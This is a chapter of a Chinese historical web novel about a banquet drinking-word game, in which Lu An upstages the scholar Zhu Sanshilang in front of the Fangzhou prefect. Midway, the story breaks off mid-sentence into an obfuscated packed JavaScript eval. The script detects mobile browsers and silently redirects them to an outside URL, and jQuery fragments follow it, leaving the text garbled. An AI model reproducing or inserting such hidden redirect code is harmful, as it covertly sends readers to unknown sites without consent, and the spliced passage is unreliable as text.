他来了他来了,他带着他的中途换题来了!
在场的许多人都可以说是熟人了,经常一起组局,听到这话,还有种“果然来了”的感觉。
便有人笑眯眯地说:“好啊,不如让你朱大官人来转这个玩意儿?”
朱家家主也不跟他客气,直接说:“行!那吾就献丑了。”
说着,将那细长不倒翁放在大圆桌中间,手一拍,它就骨碌碌转了起来。
在朱家家主满眼的喜悦下,这不倒翁面向朱三十郎,细棍脑袋朝着他的方向一倒一回,一倒一回,笑容十分可掬。
“咦?是我。”朱三十郎明显兴奋起来,但又压着笑意,起身对着朱家家主一礼:“不知此次何人起令?”
朱家家主又对大家说:“公平起见,不若再以此玩偶转圈,挑一个人起令?这一次便不限韵了,如何?”
房州知州没有意见,其他人便也赞同了这个想法。
于是朱家家主手再一转,不倒翁继续跳起回旋舞,转了一圈又一圈,止在座中一位王姓举子面前。
两人眼神一触即分,所有交流都在这一眼中。
王姓举子也起身,和朱三十郎互相行了一礼,才道:“吾妹虽贤,却恃才傲物。”
朱三十郎看了王姓举子一眼,接道:“不意天壤之中,乃有王郎。”
座中数人脱口叫好。
“不意天壤之中,乃有王郎”这句话,出自《世说新语》里的《贤媛》篇,讲的是一代才女谢道韫嫁给王凝之后,对王凝之特别不满,回家和家里人反讽:“没想到天地之间,竟有王郎这样的人。”这事还演变成了成语“天壤王郎”,用来指妻子看不起丈夫。
既然出自《贤媛》,就代表当时社会没有人觉得谢道韫这么说就不贤了。正好就接应了上令那句“虽贤,却恃才傲物”。
还一语双关,道出此人这么搬弄自己妹妹是非,很不是人。
在朱三十郎责备的视线下,王姓举子似乎羞愧得无地自容,拱了拱手便坐了回去,再不敢抬头。
有着王姓举子的衬托,朱三十郎一下子光芒万丈起来,便连房州知州和房州通判两位尊者都对他露出了赞许的笑容。
朱三十郎似乎觉得自己只是做了一件常人都会去做的事,不卑不亢地坐回座位上,拿起不倒翁:“接下来是我了。”
而后,开转。
……
接下来几次,在场的人基本都被转到了,但要么是回不上来,要么是回得没有那一句“不意天壤之中,乃有王郎”惊艳,彼时座中风头最盛者,只有朱三十郎。
朱三十郎又是一次被选中,回出了一个很好的酒令之后,手一转不倒翁,这一次,不倒翁指向了陆安。
两人目光对在了一起。
朱三十郎的视线里,带着些许审视。在他眼中,陆安是一个温和、俊朗、有气质、才华也不错的郎君,但,有些无趣。
像陆九郎这样的人,朱三十郎直到该怎么对付:他们虽然有些才华,却不会变通,做事抓死理,才会显得无趣。
于是就笑道:“陆兄且听:吾好奢侈,白玉为堂金作马,日拥娇妻美妾为乐。”
这也确实是大话,因为朱三十郎要养望,整个房州士族,无人不知他为人节俭,不近女色,腰间还时常别着一卷书简。
——这又是在侧面提醒房州知州,他朱延年是怎样一个优秀的人。
朱三十郎自己出了酒令,接下来就看陆安回什么了。
众人都以为还要等一会儿,哪曾想陆九郎手执合起的折扇,向着朱三十郎腰间书简遥遥一点,开口道:“书中自有黄金屋,书中自有颜如玉。”
房州知州听到这话,先是一静,而后却是激动地呼出声来:“书中自有黄金屋,书中自有颜如玉,这话好极了!应当装裱!”
这话其实就是赤裸裸的用黄金利禄来引诱人读书,但是,人生在世,绝大多数人念书考科举,都只是为了一个功名利禄而已,谈不上梦想、理想。反正房州知州不清高,他对这两句话爱得不行,当场表示:“本官要以它劝学,传遍州县!”
等房州读书人因为这句利诱·劝学句子变多了,他的政绩不就又添一笔了?
房州知州把进度条拉得过于快了,五大家族过来参宴的家主面面相觑,都有些措手不及。
这就直接跳转到用来劝学了?那陆九郎在房州的名望岂不是无人能及?至少房州新一代读书人,基本上可以预见被这句话激烈着学习的模样了。然后,每一个人都会知道,这句话来源于陆九郎。
一个不知道哪来的小子,占据了房州最大的名望……
但既然州尊为此站台,各家家主只能强颜欢笑,表示:“有此话在,房州至少能再添三成读书人,劝学大功,吾等在此恭贺州尊了。”
而小辈里。
朱三十郎骇然地盯着陆安看,整个人都好似成了一个诡异的静止符号。
赵公麟正在被自家长辈拉着,低声叮嘱:“咱们家交友不看什么门第之见,你既然觉得这陆姓小子能够相交,就不需要顾及太多,多多走动,可别淡了交情。”
赵公麟只感觉这个叮嘱莫名其妙。
他和人交友,什么时候顾及过门第了,而且以前家里也没管过这事啊,不是随便他想和谁玩就和谁玩?
房州通判的视线扫过在场许多人,将那些或崇拜或嫉妒或忌惮或茫然的目光收入眼中,微笑着喝了一口酒。
瞧,他之前的判断完全没有错,兴金溪陆氏者,必为其子。
如今不就已是众人视线之焦?他日陆家九郎必然坐于主位,令在宴人,令天下人北面备弟子礼尊之。
*
朱家家主还打算再挣扎一下,笑着插科打诨:“这话儿真真是石破天惊,不知九郎还有无佳句,某还想再贪一句。”说着将桌上不倒翁往陆安方向推了推。
陆安无可无不可,随意一转,但就是那么巧,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14680582|155993||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
不倒翁轱辘轱辘转完,涂着两个大红圆圈的脸就朝着朱三十郎笑了。
朱家家主脸色一下子就难看了起来,正要开口岔开话题,谁知朱三十郎抢先说:“请陆兄起令。”
朱家家主愣了一下,而后惊喜了起来——他从自家三十郎脸上看到了一丝倔强。
以往的朱三十郎虽然学识不差,但人却缺少了一股冲劲。他一直生活在朱家的庇护下,不论是培养名声还是增加学识,都是由朱家一手操办。
从幼年起就有族中进士为他规划每日看什么书,学什么知识,练哪一家的字帖。
稍大一些,外出做什么事情能够提升名望,学什么技艺能够显得风雅,对外显露自己有什么兴趣能够更方便话题展开,就连交友,都是经过家族调查后,告诉他你和甲交友能学到某某东西,你和乙交友能够显出对方在哪些地方不如你从而突出自己,你和丙交友能够在某某方面去借他家族的势……包括拜房州知州为师,也是经过族中计量后,挑出的最合适、现阶段利益最大化的做法。
朱家并不觉得这样子能够让朱延年得到真正的成长,但是朱延年本人已经习惯如此了,偏偏他又是族中年轻一代最优秀的子弟,朱家思来想去,找不到改变他的方法,便只能继续硬着头皮做下去。
可以说,这样培养出来的朱延年,顺风时会展翅高飞,可一旦受到打击,就很容易退缩,甚至自暴自弃。
但现在,朱家家主看到了希望,一个能够让三十郎更进一步的希望。
于是他又靠坐了回去,看陆安的眼神也带上了感激。
陆安本人却是没有多想,既然不倒翁转向了朱三十郎,那她就正常出个题便是:“吾乃万户侯。”
这已经是很难的酒令了。
窗外虫鸣鸟鸣,窗内一片安静,所有人都在思索,如果是他们要怎么对,朱延年也在思索,只余下浅浅呼吸声。
三五个呼吸后,他脸上带上了笑容:“君正当高帝时!”
房州知州一拍手:“不错。这个对得巧妙。”
本朝国姓为柴,然而在【太】【祖】一统天下之前,是他人义子,随着义父姓高,后来才改回本姓。
而《史记·李将军列传》正好有句话叫:“如令子当高帝时,万户侯岂足道哉!”
虽然高帝是指刘邦,但文人用典,偶尔只取字面意思也不是不行——就是科举的时候最好不要这么用。
场中有些人本来跟不上思路,正满脸迷茫着,好在周围有人悟到了这点,低声向他们解释到底为什么这句话对得巧妙。
窗外日光映进,镀在朱延年脸上,能看见郎君脸上细小的绒毛,他听到房州知州的夸奖,笑的时候,那些细小的绒毛好像也在发着光。
然后,他就听到房州知州高兴地说:“我方才想了个酒令,你们对一对,看谁对得最快最好!”
这话一出,朱三十郎立刻又笑不起来了,他侧头看了一眼陆安,一下子压力倍增。